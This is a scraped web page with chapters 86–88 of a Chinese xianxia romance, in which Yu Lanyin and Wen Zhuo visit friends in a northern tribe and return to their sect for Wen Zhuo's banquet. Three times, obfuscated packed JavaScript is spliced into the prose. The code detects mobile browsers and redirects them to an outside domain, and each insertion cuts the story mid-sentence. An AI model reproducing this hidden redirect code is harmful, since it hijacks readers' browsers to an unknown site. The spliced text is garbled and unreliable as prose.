在如此的注视下,一切人一切的秘而不宣都无处遁形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玉阑音笑道,“我其实可轴、可任性了。当时你和我说,别去做云州上仙,这话听着可太奇怪了,就好像……你已经提前知道我做了云州上仙的后果一样。” 说到这里,玉阑音忽然停顿,笑了一下,“所以我更要去做了。” 温卓隐隐有预感他接下来要说的话。 他不自觉地屏住了呼吸,沉默地盯着言笑晏晏的玉阑音。 玉阑音笑着凑过去,在温卓唇上落下一个吻。 “因为我担心,我若是真听了你的话不作云州上仙,那岂不是要见不到你了。” “温卓,我担心我承受不起四方的敬爱有加,这并不是我妄自菲薄。” 玉阑音唇色略显寡淡,但他笑着,面上显现出一种不同以往的绚烂和愉悦,“是因为我自己知道,他们说的没错,我是真的配不上。” “作了云州上仙这么多年,外人看我守天下守得兢兢业业,其实真假有几分只有我知道,我如此做,勉为其难地说起来,不过也就是出于那么一丁点的责任感吧。剥心为笼也好,生死由天也罢,我其实没有那么敏感,我一点也不觉得委屈。” 玉阑音道,“因为我只是为了来遇见你。” 说到这里,他恰到好处地手上一用力,按住了想要往他身上扑的温卓。 “温卓,你好像对我有点误解,误解到了有些惶恐,有些畏惧的地步了。可是你对我说了那么多喜欢,那么多爱,可是我明明那么喜欢你。所以一定是我的错,是我表达的太隐晦了,太少了。” 玉阑音道,“温卓,我比你能想的还要喜欢你,琼州的那个吻不是半推半就,那是我的情难自禁。” 你是我的所有原则以外。 这个摇摇晃晃的云州,便是我这场年少而起的浩荡暗恋,唯一的私心和聘礼。 86.逆旅 “……老头子?咋了这是?你这咋着急忙慌地跑回来了?” 一个系着兽皮围裙,身材圆润的中年女人闻声看向门口,着急忙慌地在围裙上擦了擦手,“是部落里头出啥事儿了?谁家驯鹿又丢了?还是谁家又进来熊了?” “出事儿?” 穿着薄皮袄的山桂匆匆忙忙地进屋,脸上却是一片喜色,“那哪能!” “爹!” 脆生生的喊声从里屋传来,十分嘹亮,紧接着就是“噔噔噔”的脚步声。 闻声,山桂赶忙扔下小帽子,乐乐呵呵地接住了迎面朝他跑来的不超十岁的小姑娘,“诶!好姑娘!” “欠儿的,净打哑谜。” 马雅笑着推搡了他一把,“瞧你脸上乐开花的样儿哟,到底是有啥好事儿?” 山桂拿他的胡渣磨了磨怀里小姑娘的脸颊,“阿丽,还记不记得上回来咱家吃饭的那个温叔叔?” 阿丽被蹭得脸上疼,皱着眉把山桂推开,“是那个穿得薄薄的,长得很好看的叔叔吗?” “对,就是他!上回临走,你还缠着人家,抓着人袖子死不撒手。” 山桂笑呵呵道,“那个叔叔今晚上又来咱家吃饭!高兴不?” “温叔叔又要来啦?” 阿丽听得眼睛倏地一亮,“高兴!” 马雅在一旁听得一声惊呼,“天,温哥要来?” “还有一个我小时候的兄弟,和药郎先生,他们仨一块儿,从中原回来了。” 山桂一边打量着马雅的脸色,越说越没底气,“来得及,来得及的……” 不说还好,说完之后马雅手上十分不留情地给了山桂两巴掌。 “滚蛋!来这么多人你这怎么不早说?这都中午头了,家里没酒没菜,拿什么招待人家?” 山桂被这巴掌呼得一个趔趄。 “别给我装!显得我用了多大劲儿似的!” 马雅气冲冲道,“药郎先生来你还想着晚上饭糊弄?个杀千刀的货。” 阿丽不解,瞪着眼睛疑惑问道:“爹,药郎先生是谁呀?” 多亏了这一打岔,山桂终于得以逃出了马雅的魔爪。 他连忙牵着阿丽的小手到了一旁,脸上又是止不住地乐呵起来,“也是一个叔叔,打你爷小时候就认识他,长得可漂亮了。比你温叔叔还漂亮。” 阿丽不信。 她皱皱眉,“我爷小时候?那这叔叔得多老了呀,咋可能长得漂亮……” “小小的孩怎么说话呢。” 山桂毫不客气地给了她个脑瓜崩,“等药郎先生来了你老实点吭,别逼我揍你。” 伙房里间歇性地传来一阵阵的叮当哐啷声。 期间夹杂着马雅烦躁地暴怒,“晚上哪时辰到啊?家里头一点好肉都没得!我得去市集上买去!” 山桂老实巴交道,“他们这回不是使法术飞来,听着那声音像是坐马车来的,不会到很早的……” “咚咚咚!” 门被敲响了,“山桂!我是克古鲁!我们到了,快开门!” 屋内,一瞬间,无边的寂寞悄然蔓延。 山桂脸色一白。 他瑟瑟地往马雅那处看去。 “山桂!山桂!” 随后敲门声停了一停,甚至能听到屋外头的克古鲁十分纳罕地嘟囔道:“咦?不在家吗……” “砰”得一声。 将将回过头去说话的克古鲁直接被忽然打开的木门推得摔了个狗啃屎。 “我去……” 跪在地上的克古鲁龇牙咧嘴地往后看,“偷袭?” “不好意思不好意思,家里有人,有人。” 山桂点头哈腰的神情忽然一顿,他直直地盯着这个浅色头发、浅色眼睛的人愣了好久,“……克古鲁?” 克古鲁拍了拍身上的土,起身后翻了个白眼。 “是啊,是我啊。不认得了?” 山桂好一阵没能说出话来。 他上上下下地打量克古鲁,一双饱经风霜的粗粝的手在克古鲁的白金色袍子上小心翼翼地摸了摸,“认得,认得。” 他抬头笑了笑,圆圆的脸上尽是皱纹,“就是……变样了,和小时候不像了。” 克古鲁爽朗一笑,他二话不说,一把搂住山桂,丝毫不在意自己崭新的宗门弟子袍已经黑一块白一块。 “哪有呢!别瞎说!”还不忘揶揄道,“好久没回来了,想不到你这都做上首长了?听说还娶了漂亮老婆!好风光啊!” 山桂终于在他嬉笑的的脸上隐约见到了当年的影子。 他不由地眼眶一热,“怎么的?想抢我媳妇儿?那真是谢谢你八辈祖宗,我倒贴些银子送你家去。” 克古鲁:“……” 克古鲁:“行啊,签字画押,不许反悔。” 山桂猛猛地给了他两拳,笑骂:“滚蛋。想要媳妇儿自己讨去。” 哪知,山桂只是玩闹的两锤,险些给瘦猴儿似的克古鲁干趴下。 “我去……你这什么牛劲……” 山桂一边笑着替克古鲁揉着肚子,一边转头朝笑盈盈垂手而立的另外两人打招呼。 “药郎先生,温哥。” 玉阑音和温卓皆是笑着一颔首。 ——尽管他们的脸色并不能算得上是很好。 也是,马车咣叽咣叽一路将近半个月,谁能笑着从马车上走下来。 这一切罪恶的源头还要追溯到克古鲁。 因为三人是在克古鲁强烈且不容置喙的建议下,忆苦思甜,重走来时路—— 其实一开始的计划更为激进,克古鲁的原计划是,三个人,三匹马,“得各嗒得各嗒”地回札布萨,最后到底是被温卓严肃地拒绝了——好说歹说,改成了马车。 山桂敏锐地察觉到了两人身上隐隐约约的风尘仆仆。 “别客气啊,快进屋吧药郎先生,这北塞不比中原,夏天风也凉,你身子骨弱,别吹着风。” 刚一进屋,马雅便擦着手迎过来了。 她面上的担忧不似作假,“哎哟哎哟,药郎先生,一路上风餐露宿了吧?看这脸上黄的,快坐下喝点水歇歇。” 说着说着,她便想起来了别的事,狠狠地剜了山桂一眼。 “都怪山桂,也不早点说你和温哥,还有克古鲁仨人都要来,哎呀家里上上下下也没打扫,连口吃的喝的都没有……” 对于马雅的絮叨,玉阑音丝毫没有表现得不耐烦,他温温和和地笑着,甚至带着两分恰到好处的饶有趣味。 “今日这也算是我们一行人来得唐突,马雅姑娘不比如此挂心。” 玉阑音说起话来四平八稳,滴水不漏,“况且旧友重逢之宴席,自然是大家一起动手,热热闹闹才好,过会儿我们打下手,还得麻烦马雅姑娘费心指点一二了。” 马雅被玉阑音这左一个“姑娘”右一个“姑娘”,叫得那叫一个心花怒放。 她连连摆手,“哎呀,这一把年纪了,也就药郎先生还‘姑娘’‘姑娘’地叫……都成糟老婆子啦。” 玉阑音笑道:“马雅姑娘和我上次见之时无甚区别,依旧光彩动人生机焕发。” 站在一旁许久的温卓轻轻咳了两声。 得到不详信号的玉阑音当即话锋一转,“……是和温卓一样,光彩动人,生机焕发。” 马雅看不出两人之间你来我往的眉目传情,也没听出这话有任何的不对,只顾着“哪有哪有”地傻乐。 山桂和克古鲁俩人勾肩搭背地叙旧,也没留意到此处。 直到无人在意的角落传来小女孩脆生生的说话声。 “爹,这就是你说的药郎叔叔吗?” 山桂这才回了神,想起来自己那被遗忘许久的小女儿。 他连忙抱起阿丽走到玉阑音身旁,“快,叫药郎叔叔。” 阿丽长得不像山桂,反而更像马雅,圆圆的眼睛圆圆的脸,编着小辫子,很可爱。 “药郎叔叔。”她乖乖叫人,一双眼睛滴溜滴溜地眨,看上去机灵又乖巧,“你真年轻。” 玉阑音笑了。 他轻轻牵了牵阿丽的小辫子,声音不自觉地更加柔和下来,笑道:“谢谢,你也很年轻。” 阿丽忽然一瞪眼睛,猛地扑进了山桂的怀抱。 山桂吓了一跳,“哎哟,怎么了阿丽?” 阿丽脸蛋红红,脸埋在山桂怀里。 “他好漂亮……” 嗡嗡嗡嗡。 山桂压根听不见小蜜蜂阿丽到底嗡嗡了什么。 他凑上前去,“嗯?” 于是阿丽又小小声说了一遍。 这回山桂可算是听清了,哈哈大笑。 随后他笑着同一头雾水的玉阑音道:“阿丽说先生你长得好!她害羞了!” 玉阑音笑了起来,正当他想要去捏捏阿丽的小手的时候,温卓沉着一张脸走过来了。 他板着张脸,替玉阑音揪了揪阿丽的小辫子,硬邦邦道:“谢谢。” 玉阑音“啧”一声,不着痕迹拽了一下温卓的袖子。 他的声音放得很轻,几乎是耳语,笑得耳朵发痒,“小孩子的醋都吃?” 温卓没笑。 他神色不算很阳光地看了玉阑音一眼。 玉阑音这才意识到。 哦,说到小孩子,温卓的年纪……好像也没和阿丽差多少。 于是在场放声大笑的人除了山桂又多了个玉阑音。 虽然马雅嘴上说着来不及准备,但实际上真的到了宴席开始之上,那岂是一句饕餮盛宴了得。 活像是搬空了家里的全部家当似的,冻在地窖里的一年四季的好肉好菜全都端上来了,甚至还有札布萨极为罕见的野苹果,香瓜,脆枣,不分时令的,一应俱全。 克古鲁看得眼珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818601|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都要掉下来了,“妈呀……” 马雅误以为克古鲁是在叫她的名字,下意识道:“嗯?” 于是——墙头草了一辈子的克古鲁立即从善如流地从了。 “妈!” 这一声中气十足的“妈”,直接把妈本人马雅喊得呆愣在当场。 她眨眨眼,直往山桂那处瞧,“……这……不合适吧?” 山桂连连摆手,“合适,合适。” 随后他笑眯眯地朝克古鲁一颔首,“好孩子,叫爹,爹给你包大红包。” 克古鲁立即收起了那副恭敬的嘴脸。 他不阴不阳地扯了扯嘴角,“滚,行吗?” 桌上当即哄堂大笑。 笑够了,山桂终于清了清嗓子。 澄黄的煤灯让他的脸看上去有几分萧瑟的刻薄,与两分释怀的柔和。 “那我今天也不客气了,尽地主之谊,举杯,提一个。” 玉阑音恍惚之间,眼前总闪过故去已久的,鲁尔迈的身影。 他小时候倔强地仰着头,他腼腆的笑,他病床上的憔悴……最终之时,棺材里,安静地双手交叠。 一一闪过。 不过最终那回忆里的身形最终还是逐渐散去,却又有谁的身形在逐渐清晰。 “……我也不会说漂亮话,我打小便认识我温哥和克古鲁,这俩兄弟。和我玩得好的那帮狗小子,如今若不是赶上逢年过节影儿都见不着……所以呢,这第一杯酒,敬重逢的我们,敬我们的友谊。” 是山桂。 玉阑音愣愣地随着大家举手,碰杯。 第一杯酒。 “这第二杯,我单独敬我温哥一个。小时候我们那一帮人觉着温哥可清高了,整天不说话不知道在装什么……诶诶诶,温哥别嫌我话说得粗啊,我们当时真这么想的。” 山桂喝酒上脸,他哈哈笑着,一杯酒下去脸上已经泛了红晕。 他揽过温卓的肩膀,第无数次地提起那老黄历的故事。 “……那年围猎大赛,就是我温哥,送给我了我人生中第一个围猎大赛的头奖!那年我爹真是老高兴了啊,当晚饭都多吃了一碗……哎哟,可算是给我良心不安得,一整个晚上没睡好,第二天提着一盆果派给药居送去了——对吧对吧!药郎先生笑了,药郎先生也还记得!” 玉阑音看了看尴尬地不知所措的温卓,笑着一颔首,示意山桂他的确还记得此事。 “那时候我就知道,我温哥,就是闷,但真的是特好一人!来来来,不废话,敬温哥,干!” 温卓苦哈哈地举杯。 把一旁玉阑音逗得好一番乐。 举手,碰杯。 第二杯酒。 “这第三杯酒,敬药郎先生。” 山桂身上的酒气似乎忽然间散去了,他的眼睛红红的,却很亮,但只是瞬间,他身上有些锐利的锋芒就悉数散去。 他有些不好意思地挠挠头。 “我不会说漂亮话,但是……又总觉得,说到药郎先生,话就是得漂亮点才行……” 马雅看着自己那无用的男人,白眼一翻。 “没用的东西,干什么吃的,就你还提词呢。”她嘟哝着骂一句,“来来来,药郎先生来提一个怎么样?药郎先生最有文化!来一个!药郎先生亲自来一个!” 玉阑音眯了眯眼睛,似乎是在笑,但是却很久没出声。 温卓不着痕迹地看了他一眼。 一旁,克古鲁忽然笑着站起身。 “喂,山桂!你敬我大哥,也敬药郎先生,那我呢?怎么不单独敬我一个?是活得皮痒了?” 山桂原本是想两个“滚”伺候的。 但是张嘴的瞬间他就改了心意,“成啊,也敬你。都来敬我老大不小没出息的儿子一杯吭,哎哟这孩子打小就……” 克古鲁当即就要一脚踹过去。 温卓深深地看了一眼克古鲁。 也终于得了空当,他捏了捏玉阑音的掌心,“阑音。” 玉阑音摇了摇头。 他没有看温卓,只是轻轻地清了清嗓子,“各位。” 桌上嬉闹的人不约而同地就安静下来了。 “我不过是一介郎中,来此处也只是身兼重任不得已而为之,若真要敬酒,敬我恐怕还是太自命不凡。” 玉阑音没有丝毫醉意,声音清冷却温润,“这最后一杯,我敬生命,敬云州大地,敬万物轮回,敬天道昭昭。” 山桂眨了眨眼,随后他一低头,飞速地抹去了眼角晶莹的什么。 他举杯,“敬天道昭昭。” “敬天道昭昭。” “敬天道昭昭!” 温卓是桌上五人中最后一个举杯的。 他故作无意,轻轻将杯子往玉阑音的酒杯上一磕。 “敬天道昭昭。” 举手,碰杯。 第三杯酒。 87.安稳 玉阑音一拖二地将两个酩酊大醉的醉汉拽回了药居。 “两个猪头崽子……” 两个成年男子的体重可不是盖的,玉阑音气喘吁吁地把他们扔上床,毫不留情地破口大骂。 就在玉阑音要转身离去之时,醉得不省人事的温卓忽然睁开了眼。 他一双眼睛醉得通红,手却牢牢地抓着玉阑音的袖子,“阑音,别走。” 玉阑音十分有耐心地好声相劝,“我不走,现在太晚了,该睡觉了,听话。” 温卓置若罔闻,直勾勾地盯着他。 不要和醉汉讲道理。 玉阑音同他对峙片刻,最终还是只能败下阵来。 他俯下身,声音含混中带着一丝不易察觉的宠溺,“那你想怎么样呀?” “想和你一起睡觉。” 温卓的眼睛无比澄澈,问什么说什么,耿直得很。 不过他说完之后,像是对自己的回答不太满意似的。 他皱了皱眉,“不是,不是。” 玉阑音好脾气地摸摸他的头,“那?” “想睡你。” 温卓脑袋一片空白,说出去的话压根不受自己控制,他仿佛看不见玉阑音忽然通红的脸,一遍一遍地说着,“想睡你。” 此时的玉阑音的确脸色涨红,只可惜不是因为羞赧——他纯是被气得。 他不想再骂“滚”了,因为也不知道这温卓到底是怎么个事,向来是越骂越兴奋……特别是在床上。 玉阑音目光飘飘然地往温卓身下一扫,嗤笑,“呵。” 他笑面虎似的,面上恰到好处显出两分讥讽,“它可比你诚实多了。” 温卓已经醉得不成样子了。 他眼前的玉阑音一会儿是一个,一会儿是两个,玉阑音的嘴一张一闭地说了什么他也听不清。 他只楞楞地盯着玉阑音看。 “阑音,你好漂亮。” 这下玉阑音的脸是真的红了。 羞得。 “等我杀了达奚恩山……” 温卓说着说着,略微一蹙眉,但很快便又松开了,“若是掌门也不怪罪我,我就下聘书同你合籍,结成道侣,好不好?” 玉阑音一怔。 他没有正面回答温卓的问题,只笑问:“你如今可是归顺厌族,作了尊主了,那若是掌门怪罪你了呢?” 温卓似乎有些纠结地思索了一会儿。 “我又不同他合籍,他怪罪与否又怎么样呢?掌门若是真的加罪于我……那我就把你绑回须弥之地去,叫你作我尊主夫人,别人问起,我就说是我强迫你的,好不好?” 玉阑音心头瞬间酸软。 他鼻头久违地一酸,“好。如果有那一天的话。” 一旁的电灯泡克古鲁忽然呢喃着翻了个身,吭嗤吭嗤地打起了呼噜。 两人之间温情的氛围瞬间破碎。 玉阑音笑了。 他摸了摸温卓的头,替他理了理额头粘湿了的发丝,“不闹了,快睡吧。今天你没有沐浴,不许上我的床。” 温卓委屈巴巴地“哦”一声。 他乖乖地躺下,被玉阑音安抚地拍了拍,呼吸平稳地睡着了。 玉阑音简单沐浴过后已经是亥时了。 他竭力地忽视侧卧震耳欲聋的鼾声,平心静气地打坐片刻,结局却依旧是心如死灰地往床上一躺。 事实上,床上辗转反侧的玉阑音并不是因为克古鲁猪猡似的鼾声才烦躁的——好吧,或许也有一点。 但更多的他只是有点发愁。 达奚恩山…… 这人性情乖戾,也无善恶可言,兴致来了做出什么荒唐事都不为过。 他叛逃十方宗不过两三百年,整个云州便被他搅得风云变幻,云州成千上万修士整日围着他转。 不定时的火药炸弹。 不除不行。 玉阑音这一生的信条是不做后悔之事。 但万事皆有意外,当时由着达奚恩山把他云州碎片化的心脏掏出来一事,这些年里他每每想起皆是悔不当初。 肠子都悔青了。 当时……他究竟是为什么没两巴掌把达奚恩山掀翻在地呢? 玉阑音已经有些记不清那时候的自己是怎么想的了。 他只能凭借对自己的了解胡乱地猜:当时他大概的确是对达奚恩山心怀几分愧疚,再加上…… 他停顿片刻,随后自嘲一笑。 再加上,当时的他也的确是不太想活了。 他原本就是为了见到温卓才来的此处,苦等这么多年人没等到不说,人间大大小小事务缠身,也没落下点什么好处。 如今…… 玉阑音最想给两巴掌的人已经不再是达奚恩山了,他最想抽的人是当时的自己。 “蠢啊……真是蠢透了……” 玉阑音翻了个身,低声呢喃道。 大概是因为札布萨民风淳朴吧,在药居的日子比在十方宗热闹得多了。 药郎。 这名号在整个札布萨,可谓是无人不知无人不晓。 从嗑瓜子的马雅那处听来了消息,一传十十传百,没出一天,整个札布萨都知道了—— 药郎先生从中原回来了。 家家户户赶忙提上大包小包,值钱的不值钱的,尽管往外处拿,尽管往药居去送。 这一天下来,药居的门槛都快被磨平了。 “苍天……我这还真是第一次知道这小小的部落居然有这么多人呢。” 忙着收东西的克古鲁累得瘫了,软软地伏在桌子上起不来身,“哎哟我这醉酒的疼还没缓过去呢……” 温卓看他一眼,随后往前厅的药房里去了一趟。 回来的时候手里抓着一纸包的药材。 克古鲁打着蔫:“这是什么啊?” 温卓道:“醒酒,治头疼的。” 玉阑音窝在摇椅里,看得十分纳罕:“嗯?你这药理是何时精进了?” 温卓一副“你说呢”的模样,静静地看着玉阑音,不说话。 克古鲁不解:“嗯?怎么了?这药是有哪里不对吗?” “没有。” 温卓回答道,“怕某人尝百草把自己尝死,我拼了老命学的,不会有问题。” 身旁的那位某人适时地咳了两声。 过后部落里又先后来了几个身患慢性病的病人。 他们听说药郎先生回来了,紧赶慢赶地来药居拿药,要的量也大,按年头拿。 “……嗯,居然真是拿得没什么毛病。” 玉阑音看着温卓在药架前熟练取药的模样,又看看油纸上的几味药,啧啧称奇,“就是不太顺口,记得往里头加些黄糖红枣的……不过也不能加太多,能好喝一些。” 温卓睨他一眼,“良药苦口利于病。” 玉阑音不反驳,反而正色点点头,“也是这么个道理。” 忽然,玉阑音察觉到他怀里的灵犀灯明明暗暗地亮了。 温卓看他一眼,“有人找?” “嗯,”玉阑音看看灵犀灯里头的来人,“是善玄。” 他转过药架,才将嗡嗡作响的灵犀灯接通。 “善玄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823037|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 对面的善玄显然也没想到玉阑音接通得这么快,他那处听上去熙熙攘攘的,有些杂乱。 “哎哟,师尊啊……哈哈!天地牌!你们就等死吧!” 玉阑音扶额,又叫了一声,“善玄。” “哎哎,师尊。” 善玄那边哗啦哗啦地响了一阵,随后稍安静了下来,“我来了,我来了,刚才和秉文、镜遥、少暄他们几个玩牌呢。” 玉阑音很耐心地又问一遍:“找我是有什么事吗,善玄?” 善玄一拍脑门。 “有有有,”他道,“刚才掌门找我,说叫我着手准备一下师弟赐意宴的事情啊,大概还有一旬日子就是了吧?” 玉阑音应道:“嗯,下月初。” “那好,那好,来得及。” 善玄笑道,“你们仨是要在北塞待多久?过几日就回,还是赐意宴当天再回?” 玉阑音看看前厅在药架前忙忙碌碌的温卓,脸上带着一抹十分和煦温情的笑意。 “再待些日子吧,宴会前两三日回。” “成。” 善玄满口应下,“那赐意宴我就自己看着办了啊,我这保准按照最高规格的来!到时候就不问你俩了,你们好好玩着,回来前知会我一声儿。” 玉阑音好声好气地嘱咐他,不能总是推牌九,不要玩物丧志。 还没等絮叨完,善玄已经自顾自地“啪嗒”一声把通话切断了。 玉阑音:“……” 不知道是不是他的错觉,怎么这些日子下来,一帮小崽子越来越不把他放在眼里了? “……是无上长老?” 秉文叼着旱烟,冷若冰霜的脸在烟雾中莫名显得风情万种。 善玄连忙落座,“对,是为温卓赐意宴的事情。” 他一面桌上的牌,皱起了眉,“……喂,你们仨,我那么大一对天地牌呢?怎么没了?” “你这狗东西。” 秉文洗着牌冷哼道,“抱着灵犀灯半天不回来,难不成我们仨就干等着你?” 善玄当即拍桌,恼了:“芍欢!你别太过分!” “人家这两个小辈怎么可能因为我开出天地牌就动这种下三滥的心思!肯定是你啊!你又拿着你长老的身份作威作福了是不是?” 善玄长老和秉文长老又吵起来了。 镜遥和君少暄十分熟练地眼观鼻鼻观心,假装自己不在场。 秉文看着善玄的眼神活像是在看泼猴。 等善玄上蹦下跳完了,她终于神色淡然地一抬眸,扯扯嘴角,往他脸上吐了口呛人的烟圈,“闹完了?” 善玄捏着鼻子,嗡嗡道:“闹完了。” “很好,全票通过。” 秉文十分民主,她冷淡地一拍掌,“那我们继续。” 哗啦哗啦地推牌九声再度响起。 一旁,无数卷宗折子里头埋着的秦鹤生心如死灰地一叹息。 也不是说不能推牌九…… 但是,退一万步说,真的就不能换个地方,不在他这天庸峰的宫殿里头不行吗? 他无力地嗫嚅着反抗了两句。 推牌九的四人没一个人理他。 北塞,札布萨。 天色暗下来了,玉阑音和克古鲁在里屋掌起了灯,煮茶,谈天说地。 前厅温卓给来药居求医的人抓草药,时不时地探进头来问玉阑音两句。 云州大地一片祥和,难得的好时光。 玉阑音捧着茶杯,心中感叹。 只希望……这安稳日子,能维持得再久一些吧。 88.尘释 这些日子玉阑音一行人在札布萨乐得清闲,但天下没有不散的筵席。 七八天后,他们挨家挨户地同部落里的人告别,并借了机会将先前收的礼挨个还了回去。 最后一站是札布萨的首长——山桂家。 山桂眼中含着热泪,他想伸手,但是又怕自己满手的泥泞脏了眼前人干净素白的衣裳。 最终只抹了一把眼泪,“药郎先生……这就是要走啦?” 玉阑音略一垂眸。 他主动伸出手握住了山桂操劳半生粗粝的双手,“嗯,这就走了。” 克古鲁这人从小就好逗乐,最看不得分别时凝滞的气氛。 他笑起来打趣,“这都要走了,我的大红包呢,爹?” 山桂眼中带泪地推搡他一把。 “马雅!”他往后唤一声,“从我屋拿些银子来给温哥他们带着,不要碎的唔……” “哎哎哎!” 克古鲁哪知道这人今天这么实在,忙不失迭地捂上了山桂的嘴,“疯了?犯病了?我可不是来要银两的意思啊!” 山桂笑着拽下他的手。 “知道,知道,我这也就是一番心意。” 温卓手疾眼快,在一旁拦住了提着一兜银锭的马雅。 马雅不听,一边嘟囔着什么一边往他手里塞。 “山高路远。路上难免有用到银钱的时候。” 玉阑音忽然开口了,“我们今只取两块,做一路上的盘缠,也不拂了你们心意,可好?” 玉阑音左右逢源的本事仿佛是天生的,说起话做起事来面面俱到。 山桂开心了,连忙叫马雅取两整块银锭。 往克古鲁手里一塞,“好孩子,爹言而有信,说到做到。” “不过,你们如今这一走……” 山桂闷声道,“又不知道什么时候能再见面了。” “各位一路上注意身体,特别是药郎先生,这身子都成什么样儿了……” 他笑起来,揉揉酸涩的鼻头,“今年过年有空回来看看,我还有两坛子老酒在树底下,到时候开封,保准香死你们。” 临到告别,人的话总会不自觉地变多。 山桂拉着温卓的手,絮絮叨叨说了好多话,最后他一把抱起在身旁探头探脑的阿丽,“阿丽,来,和叔叔们说再见。” 阿丽今天梳着冲天辫,古灵精怪的,很可爱。 她甜甜地一笑,说出来的话却让在场各位大跌眼镜,“爹,我想嫁给药郎叔叔当媳妇儿……” “苍天,你可真是我的活祖宗……” 这话一出,吓得马雅都没来得及思考,一把捂住阿丽的嘴,“快别说话了你。” 随后她悻悻地一转头,“药郎先生你别听她胡说啊……她就是个小孩子,什么都不懂……” 没等玉阑音开口回话,一旁地温卓稍往玉阑音身前一靠,硬邦邦道:“不行。” 知情人士克古鲁连忙过来打圆场。 “哎呀阿丽啊,药郎先生年纪好大了哦,不合适的嘞……” 阿丽不知道现在的局面因为她变得有些剑拔弩张。 她眨眨眼睛,再添一把火,“为什么不行?药郎叔叔长得很年轻呀。” 赶在温卓脸色更加阴沉之前,当事人玉阑音终于开了口,“阿丽。” 他俯下身,声音无比清和,笑道:“叔叔喜欢男孩子,所以很对不起,叔叔不能娶你哦。” 温卓瞬间就被摸顺毛了。 山桂和马雅听了这话眼珠子都要掉下来。 可山桂怀里的阿丽浑然不觉,她咬咬指甲。 纠结了好半晌,“哦……好吧。” 山桂看看神情云销雨霁的温卓,又看看好整以暇的玉阑音,再看看温卓,再看玉阑音。 如此多次。 “嘶……” 他牙疼似地抽了口气。 他好像……发现了些不得了的秘密。 来不及做多余的思考,他下意识把怀里的阿丽往地下一扔。 ……是她说的,和我没关系。 玉阑音一行人终于作别了札布萨。 没再浪费时间在路上,温卓一个缩地千里,三人稳稳当当回到了十方宗。 近一个月没回来,家里的物件难免落下了灰。 趁着温卓在家中收拾东西的空当,玉阑音往药谷凤鸣峰处去了一趟。 凤鸣峰上,善玄正坐在小板凳上吃虎皮花生。 一边吃一边指手画脚,“……这神像的座台都摆歪了,一个两个这么大的人了,做起事来这么不用心?” “善玄。” 玉阑音走进,站在神像脚下,神色莫辨。 “哎哟,师尊!” 善玄把手里的花生往别处一丢,赶忙站起身凑过来,一脸讨好,“师尊您怎么回来了?也没和我说一声……” 玉阑音没理他。 他抬头看看那活似通天高的神像,随后神情古怪地看了善玄一眼。 “怎么了,师尊?是哪里不满意?” 生怕玉阑音不知道似的,善玄嘴皮子吧嗒吧嗒介绍道,“这神像是器阁崇本他们亲自雕的,通体汉白玉的,底座是雕的莲花,边上镶的是金……” “善玄。” 玉阑音温和地打断了他,“神像雕得确实不错。只是……这雕的人像,为何是我呢?” 器阁以崇本为首一众长老齐齐打了个喷嚏。 赐意宴的神像雕刻的的确是玉阑音。 明明是玉石却雕出了衣袂翻飞之态,尽管面部只雕出了玉阑音的七八分神韵,但已然是丰神俊朗,一副不悲不喜的慈悲相。 “啊,不可以吗?” 善玄一愣,“您是云州上仙啊,这又正好是师弟的赐意宴,我就擅作主张……” 他打量着玉阑音的神情,试探着问:“不然我叫崇本他们重新再雕一个?雕个四大天王,行不行?” “罢了。” 这话多戳心窝子啊,玉阑音到底是没舍得再让无辜的器阁群众返工,他叹口气,“就这样吧。” 得逞了的善玄笑道:“得嘞。” 三天转瞬即逝,转眼已经到了赐意宴当天。 玉阑音这一天罕见地醒了个大早。 他刚轻手轻脚地一翻身,身旁的温卓立即伸手拽住了他。 “小心……怎么掉下去了。” 温卓迷迷糊糊低声道。 玉阑音在黑夜里轻声一笑。 他玩闹地弹了一下温卓的额头,“去你的,你才掉下去了呢。” 温卓迷迷瞪瞪地清醒过来。 他按了按发涨的额角,声音里透着几分倦意,“怎么醒这么早?” “你说呢?” 玉阑音没好气地拍了拍他的手,“还不是要给你准备宴服。” 昨晚两人喝了两杯今年春天的新酒,床上闹腾得又过了些。 玉阑音倒是乐得自在,中途累了就两眼一闭睡下,可怜了温卓抱他沐浴,又换了新的床褥被子,真正躺下的时候已经是丑时有余。 玉阑音有些心疼,转而掐了掐他的掌心。 “那衣服是云间坊赶夜纺的,这会儿才完活儿。我下山去拿,你再睡会儿,回来我叫你。” 温卓窝在被子里闷闷地说了声好。 不过事实上,玉阑音从山下回来并没有叫醒他。 温卓舒舒服服一觉睡到了自然醒。 醒来时天已大亮。 玉阑音正在外头摇椅里躺着。他特地找了个角度,一探头便能看见屋里头的动静。 “醒了?”他听见屋内一阵窸窸窣窣声,笑道。 温卓略一蹙眉,恍惚之间想起今日是他的赐意宴。 玉阑音施施然地端起桌上的杯盏,抿一口。 “放心吧,”他就像是温卓肚子里的蛔虫,笑道,“卯时一刻,你醒得也赶巧,没误了点。” 温卓点点头。 其实他对于这百岁的赐意宴算不上期待,真要说起来,他对这一日唯一的盼头大概就是…… 温卓一抬眸。 透过窄窄的门缝看见正躺在摇椅里喝茶的玉阑音。 那人笑着迎上他的目光,“还不起床?” 